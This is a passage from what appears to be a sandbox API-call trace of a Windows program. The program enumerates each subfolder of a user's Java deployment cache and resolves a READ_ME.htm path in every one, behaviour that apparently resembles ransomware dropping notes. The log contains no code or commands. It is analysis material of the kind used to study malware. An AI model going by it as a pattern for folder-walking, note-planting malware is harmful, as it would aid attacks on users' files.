lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.932] SetErrorMode (uMode=0x1) returned 0x0 [0147.933] SetErrorMode (uMode=0x0) returned 0x1 [0147.933] GetFileType (hFile=0x1d0) returned 0x1 [0147.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60", lpFilePart=0x0) returned 0x44 [0147.934] SetErrorMode (uMode=0x1) returned 0x0 [0147.934] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\60\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.936] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.936] SetErrorMode (uMode=0x0) returned 0x1 [0147.936] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60", lpFilePart=0x0) returned 0x44 [0147.936] SetErrorMode (uMode=0x1) returned 0x0 [0147.937] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\60\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.937] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.937] SetErrorMode (uMode=0x0) returned 0x1 [0147.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\60\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.937] SetErrorMode (uMode=0x1) returned 0x0 [0147.938] SetErrorMode (uMode=0x0) returned 0x1 [0147.938] GetFileType (hFile=0x1d0) returned 0x1 [0147.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61", lpFilePart=0x0) returned 0x44 [0147.939] SetErrorMode (uMode=0x1) returned 0x0 [0147.940] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\61\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.940] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.940] SetErrorMode (uMode=0x0) returned 0x1 [0147.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61", lpFilePart=0x0) returned 0x44 [0147.940] SetErrorMode (uMode=0x1) returned 0x0 [0147.940] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\61\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.941] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.941] SetErrorMode (uMode=0x0) returned 0x1 [0147.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\61\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.941] SetErrorMode (uMode=0x1) returned 0x0 [0147.944] SetErrorMode (uMode=0x0) returned 0x1 [0147.944] GetFileType (hFile=0x1d0) returned 0x1 [0147.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62", lpFilePart=0x0) returned 0x44 [0147.945] SetErrorMode (uMode=0x1) returned 0x0 [0147.945] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\62\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.945] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.945] SetErrorMode (uMode=0x0) returned 0x1 [0147.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62", lpFilePart=0x0) returned 0x44 [0147.946] SetErrorMode (uMode=0x1) returned 0x0 [0147.946] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\62\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.946] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.946] SetErrorMode (uMode=0x0) returned 0x1 [0147.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\62\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.946] SetErrorMode (uMode=0x1) returned 0x0 [0147.947] SetErrorMode (uMode=0x0) returned 0x1 [0147.947] GetFileType (hFile=0x1d0) returned 0x1 [0147.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63", lpFilePart=0x0) returned 0x44 [0147.948] SetErrorMode (uMode=0x1) returned 0x0 [0147.948] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\63\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.949] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.949] SetErrorMode (uMode=0x0) returned 0x1 [0147.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63", lpFilePart=0x0) returned 0x44 [0147.949] SetErrorMode (uMode=0x1) returned 0x0 [0147.949] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\63\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.949] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.950] SetErrorMode (uMode=0x0) returned 0x1 [0147.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\63\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.950] SetErrorMode (uMode=0x1) returned 0x0 [0147.951] SetErrorMode (uMode=0x0) returned 0x1 [0147.951] GetFileType (hFile=0x1d0) returned 0x1 [0147.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7", lpFilePart=0x0) returned 0x43 [0147.952] SetErrorMode (uMode=0x1) returned 0x0 [0147.952] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\7\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.953] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.953] SetErrorMode (uMode=0x0) returned 0x1 [0147.953] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7", lpFilePart=0x0) returned 0x43 [0147.953] SetErrorMode (uMode=0x1) returned 0x0 [0147.953] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\7\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.953] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.953] SetErrorMode (uMode=0x0) returned 0x1 [0147.953] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\7\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.954] SetErrorMode (uMode=0x1) returned 0x0 [0147.954] SetErrorMode (uMode=0x0) returned 0x1 [0147.954] GetFileType (hFile=0x1d0) returned 0x1 [0147.955] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8", lpFilePart=0x0) returned 0x43 [0147.956] SetErrorMode (uMode=0x1) returned 0x0 [0147.956] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\8\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.956] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.956] SetErrorMode (uMode=0x0) returned 0x1 [0147.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8", lpFilePart=0x0) returned 0x43 [0147.956] SetErrorMode (uMode=0x1) returned 0x0 [0147.957] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\8\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.957] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.957] SetErrorMode (uMode=0x0) returned 0x1 [0147.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\8\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.957] SetErrorMode (uMode=0x1) returned 0x0 [0147.960] SetErrorMode (uMode=0x0) returned 0x1 [0147.960] GetFileType (hFile=0x1d0) returned 0x1 [0147.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9", lpFilePart=0x0) returned 0x43 [0147.961] SetErrorMode (uMode=0x1) returned 0x0 [0147.961] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\9\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.961] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.962] SetErrorMode (uMode=0x0) returned 0x1 [0147.962] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9", lpFilePart=0x0) returned 0x43 [0147.962] SetErrorMode (uMode=0x1) returned 0x0 [0147.962] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\9\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.962] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.962] SetErrorMode (uMode=0x0) returned 0x1 [0147.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\9\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.963] SetErrorMode (uMode=0x1) returned 0x0 [0147.963] SetErrorMode (uMode=0x0) returned 0x1 [0147.963] GetFileType (hFile=0x1d0) returned 0x1 [0147.964] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host", lpFilePart=0x0) returned 0x46 [0147.964] SetErrorMode (uMode=0x1) returned 0x0 [0147.965] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\host\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.965] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.965] SetErrorMode (uMode=0x0) returned 0x1 [0147.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host", lpFilePart=0x0) returned 0x46 [0147.965] SetErrorMode (uMode=0x1) returned 0x0 [0147.965] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\host\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.966] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.966] SetErrorMode (uMode=0x0) returned 0x1 [0147.966] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\host\\READ_ME.htm", lpFilePart=0x0) returned 0x52 [0147.966] SetErrorMode (uMode=0x1) returned 0x0 [0147.966] SetErrorMode (uMode=0x0) returned 0x1 [0147.967] GetFileType (hFile=0x1d0) returned 0x1 [0147.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin", lpFilePart=0x0) returned 0x48 [0147.968] SetErrorMode (uMode=0x1) returned 0x0 [0147.968] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\muffin\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\muffin\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e8f940, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, 